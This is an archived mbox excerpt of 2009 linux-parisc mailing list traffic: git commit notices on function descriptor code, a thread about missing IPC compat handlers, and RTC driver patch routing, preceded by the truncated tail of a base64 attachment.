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

--001485f1ea66023bb6046689710f--


From - Thu Nov 08 21:03:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/parisc
Date: Thu, 2 Apr 2009 04:16:40 GMT
Lines: 30
Approved: news@gmane.org
Message-ID: <200904020416.n324Ge5t000944@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1238645813 25109 80.91.229.12 (2 Apr 2009 04:16:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 04:16:53 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 06:18:11 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpENV-0002Eq-PZ
	for glpp-linux-parisc@gmane.org; Thu, 02 Apr 2009 06:18:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750874AbZDBEQo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Apr 2009 00:16:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751369AbZDBEQo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 2 Apr 2009 00:16:44 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:60870 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750874AbZDBEQn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Apr 2009 00:16:43 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1+QaOgIf0Rt4XK/ac/3Nat8qV03cPd4WY4@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n324Gei3000946
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Thu, 2 Apr 2009 04:16:40 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n324Ge5t000944
	for linux-parisc@vger.kernel.org; Thu, 2 Apr 2009 04:16:40 GMT
X-Virus-Scanned: ClamAV 0.93.3/9196/Wed Apr  1 19:38:26 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=AWL,BAYES_00,
	UNPARSEABLE_RELAY autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Thu, 02 Apr 2009 04:16:42 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1461
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1461>

New commits:
commit b609308e1415efebdf79ebd553f4dd47b0ff2722
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Sun Mar 15 16:49:55 2009 -0400

    parisc: move dereference_function_descriptor to process.c
    
    Commit deac93df26b20cf8438339b5935b5f5643bc30c9 fixed up printing
    of %pF on parisc, but added the dereference_function_descriptor
    prototype to module.c... this isn't a particularly wise idea as
    module.c might not always be compiled.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit bf589a349b9a41ea202ddb8115b18f543b944bfd
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Sun Mar 15 16:44:25 2009 -0400

    parisc: Move kernel Elf_Fdesc define to <asm/elf.h>
    
    elf.h probably won't be exported to userspace, but play it safe
    and cram it in a #ifdef __KERNEL__ guard.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/master
Date: Thu, 2 Apr 2009 04:16:47 GMT
Lines: 30
Approved: news@gmane.org
Message-ID: <200904020416.n324Glbx000977@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1238645819 25119 80.91.229.12 (2 Apr 2009 04:16:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 04:16:59 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 06:18:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpENc-0002Fk-Rj
	for glpp-linux-parisc@gmane.org; Thu, 02 Apr 2009 06:18:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750843AbZDBEQv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Apr 2009 00:16:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751375AbZDBEQv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 2 Apr 2009 00:16:51 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:60873 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750843AbZDBEQu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Apr 2009 00:16:50 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX19mp/EzoPMiu4AARPFp5z/3nKuO72y74vg@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n324GlQU000979
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Thu, 2 Apr 2009 04:16:47 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n324Glbx000977
	for linux-parisc@vger.kernel.org; Thu, 2 Apr 2009 04:16:47 GMT
X-Virus-Scanned: ClamAV 0.93.3/9196/Wed Apr  1 19:38:26 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Thu, 02 Apr 2009 04:16:49 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1462
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1462>

New commits:
commit b609308e1415efebdf79ebd553f4dd47b0ff2722
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Sun Mar 15 16:49:55 2009 -0400

    parisc: move dereference_function_descriptor to process.c
    
    Commit deac93df26b20cf8438339b5935b5f5643bc30c9 fixed up printing
    of %pF on parisc, but added the dereference_function_descriptor
    prototype to module.c... this isn't a particularly wise idea as
    module.c might not always be compiled.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit bf589a349b9a41ea202ddb8115b18f543b944bfd
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Sun Mar 15 16:44:25 2009 -0400

    parisc: Move kernel Elf_Fdesc define to <asm/elf.h>
    
    elf.h probably won't be exported to userspace, but play it safe
    and cram it in a #ifdef __KERNEL__ guard.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: hpmc on rp3440 with 2.6.29-rc5
Date: Thu, 2 Apr 2009 00:33:16 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20090402043316.GA13794@bombadil.infradead.org>
References: <20090317004802.22B564E9D@hiauly1.hia.nrc.ca> <20090317005147.GD4282@bombadil.infradead.org> <20090317005624.GE4282@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238646819 26870 80.91.229.12 (2 Apr 2009 04:33:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 04:33:39 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 06:34:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpEda-0004nv-JB
	for glpp-linux-parisc@gmane.org; Thu, 02 Apr 2009 06:34:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751619AbZDBEdV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Apr 2009 00:33:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752058AbZDBEdV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 2 Apr 2009 00:33:21 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:55557 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751010AbZDBEdU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Apr 2009 00:33:20 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LpEc8-0001lB-7m; Thu, 02 Apr 2009 04:33:16 +0000
Content-Disposition: inline
In-Reply-To: <20090317005624.GE4282@bombadil.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1463
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1463>

On Mon, Mar 16, 2009 at 08:56:24PM -0400, Kyle McMartin wrote:
> On Mon, Mar 16, 2009 at 08:51:47PM -0400, Kyle McMartin wrote:
> > > In the info below, I only included relevant data.  No hpmc data was
> > > recorded for processors 2 and 3.  Unfortunately, I lost the console output
> > > for the crash if any.
> > > 
> > > This is with a SMP 64-bit kernel.  I still have it and the config file.
> > > 
> > > I'm not the greatest at interpreting chassis codes.  It's not at all clear
> > > to me what went wrong.
> > >
> > 
> > Good catch, looks like we're missing a compat handler for msgctl. I'll
> > add one and hopefully this will go away. :)
> > 
> 
> Woah. Really good catch, we're missing compat handlers for virtually all
> the ipc functions!
> 
> I'll fix this up ASAP.
> 

This was nastier than I've anticipated, since we do ipc differently from
everyone else... I should have a patch ready in the morning.

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 0/7] Generic RTC class driver
Date: Thu, 2 Apr 2009 11:42:02 +0200 (CEST)
Lines: 40
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.00.0904021141080.30882@vixen.sonytel.be>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com> <alpine.LRH.2.00.0903111134270.1040@vixen.sonytel.be> <20090311154505.GB5448@bombadil.infradead.org> <alpine.LRH.2.00.0903111825040.1040@vixen.sonytel.be>
 <20090313042543.GA3907@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-15
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1238665347 9714 80.91.229.12 (2 Apr 2009 09:42:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 09:42:27 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	Alessandro Zummo <alessandro.zummo@towertech.it>,
	linux-m68k@vger.kernel.org, rtc-linux@googlegroups.com,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>
To: Kyle McMartin <kyle@infradead.org>,
	Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Apr 02 11:43:43 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpJSY-0004Ux-G1
	for glpm-linux-m68k@gmane.org; Thu, 02 Apr 2009 11:43:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935070AbZDBJmN convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpm-linux-m68k@m.gmane.org>); Thu, 2 Apr 2009 05:42:13 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S935430AbZDBJmM
	(ORCPT <rfc822;linux-m68k-outgoing>); Thu, 2 Apr 2009 05:42:12 -0400
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:54192 "EHLO
	pophost.sonytel.be" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1764682AbZDBJmI (ORCPT
	<rfc822;linux-m68k@vger.kernel.org>); Thu, 2 Apr 2009 05:42:08 -0400
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by pophost.sonytel.be (Postfix) with ESMTP id A09C544472;
	Thu,  2 Apr 2009 11:42:02 +0200 (CEST)
In-Reply-To: <20090313042543.GA3907@bombadil.infradead.org>
User-Agent: Alpine 2.00 (LRH 1167 2008-08-23)
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:580 gmane.linux.ports.parisc:1464 gmane.linux.kernel:816317 gmane.linux.ports.ppc64.devel:54368
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1464>

On Fri, 13 Mar 2009, Kyle McMartin wrote:
> On Wed, Mar 11, 2009 at 06:26:12PM +0100, Geert Uytterhoeven wrote:
> > On Wed, 11 Mar 2009, Kyle McMartin wrote:
> > > On Wed, Mar 11, 2009 at 11:36:02AM +0100, Geert Uytterhoeven wrot=
e:
> > > > Is it OK for you to take it through your PA-RISC tree?
> > > > If yes, I can resend the patch series with the collected acks.
> > >=20
> I've pulled it and pushed it back out, I'll submit it when the merge
> window opens.

Apparently the first half went it through akpm. Will you take care of t=
he
remaining commits?

Thanks!

With kind regards,

Geert Uytterhoeven
Software Architect

Sony Techsoft Centre Europe
The Corporate Village =B7 Da Vincilaan 7-D1 =B7 B-1935 Zaventem =B7 Bel=
gium

Phone:    +32 (0)2 700 8453
=46ax:      +32 (0)2 700 8622
E-mail:   Geert.Uytterhoeven@sonycom.com
Internet: http://www.sony-europe.com/

A division of Sony Europe (Belgium) N.V.
VAT BE 0413.825.160 =B7 RPR Brussels
=46ortis =B7 BIC GEBABEBB =B7 IBAN BE41293037680010
--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" i=
n
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: Re: linux-next: manual merge of the tracing tree with the parisc
 tree
Date: Thu, 2 Apr 2009 22:32:05 +1100
Lines: 40
Approved: news@gmane.org
Message-ID: <20090402223205.e4ab7b5e.sfr@canb.auug.org.au>
References: <20090401113740.7f425e02.sfr@canb.auug.org.au>
	<20090401175033.GE1443@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA1";
 boundary="Signature=_Thu__2_Apr_2009_22_32_05_+1100_2NUtc5aSpAuDlQ3X"
X-Trace: ger.gmane.org 1238672146 30715 80.91.229.12 (2 Apr 2009 11:35:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 11:35:46 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>, Ingo Molnar <mingo@elte.hu>,
	"H. Peter Anvin" <hpa@zytor.com>, linux-next@vger.kernel.org,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	Uwe Kleine-Koenig <u.kleine-koenig@pengutronix.de>,
	Steven Rostedt <srostedt@redhat.com>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 13:37:03 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpLB3-0006mF-SW
	for glpp-linux-parisc@gmane.org; Thu, 02 Apr 2009 13:33:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753096AbZDBLcT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Apr 2009 07:32:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753771AbZDBLcT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 2 Apr 2009 07:32:19 -0400
Original-Received: from chilli.pcug.org.au ([203.10.76.44]:33849 "EHLO smtps.tip.net.au"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754770AbZDBLcR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Apr 2009 07:32:17 -0400
Original-Received: from ash.ozlabs.ibm.com (ta-1-1.tip.net.au [203.11.71.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtps.tip.net.au (Postfix) with ESMTPSA id DBF0A368003;
	Thu,  2 Apr 2009 22:32:12 +1100 (EST)
In-Reply-To: <20090401175033.GE1443@bombadil.infradead.org>
X-Mailer: Sylpheed 2.6.0 (GTK+ 2.14.7; i486-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1465 gmane.linux.kernel.next:6731
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1465>

--Signature=_Thu__2_Apr_2009_22_32_05_+1100_2NUtc5aSpAuDlQ3X
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi Kyle,

On Wed, 1 Apr 2009 13:50:34 -0400 Kyle McMartin <kyle@mcmartin.ca> wrote:
>
